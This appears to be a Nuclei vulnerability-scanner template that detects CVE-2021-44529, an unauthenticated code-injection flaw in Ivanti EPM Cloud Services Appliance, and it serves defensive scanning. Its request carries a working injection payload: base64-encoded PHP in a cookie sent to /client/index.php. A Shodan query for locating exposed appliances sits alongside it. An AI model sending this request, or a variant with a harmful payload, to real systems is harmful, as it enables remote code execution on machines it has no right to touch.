id: CVE-2021-44529

info:
  name: Ivanti EPM Cloud Services Appliance Code Injection
  author: duty_1g,phyr3wall,Tirtha
  severity: critical
  description: Ivanti EPM Cloud Services Appliance (CSA) before version 4.6.0-512 is susceptible to a code injection vulnerability because it allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.
  remediation: |
    Apply the latest security patches provided by Ivanti to mitigate this vulnerability.
  reference:
    - https://forums.ivanti.com/s/article/SA-2021-12-02
    - https://twitter.com/Dinosn/status/1505273954478530569
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44529
    - http://packetstormsecurity.com/files/166383/Ivanti-Endpoint-Manager-CSA-4.5-4.6-Remote-Code-Execution.html
    - https://github.com/SYRTI/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-44529
    cwe-id: CWE-94
    epss-score: 0.95621
    epss-percentile: 0.99362
    cpe: cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: endpoint_manager_cloud_services_appliance
    shodan-query: title:"LANDesk(R) Cloud Services Appliance"
  tags: cve2021,cve,ivanti,epm,csa,injection,packetstorm

http:
  - raw:
      - |
        GET /client/index.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=;

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "phpinfo()"
          - "Cloud Services Appliance"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b06aa91e93fa728e8a41a045b2854161d0eb822d82d915ecb9f2687386c4dc5d022100de776ca073ce694c73466b106bbbffc3cb0ba13af341d8763ed46690e75822dc:922c64590222798bb761d5b6d8e72950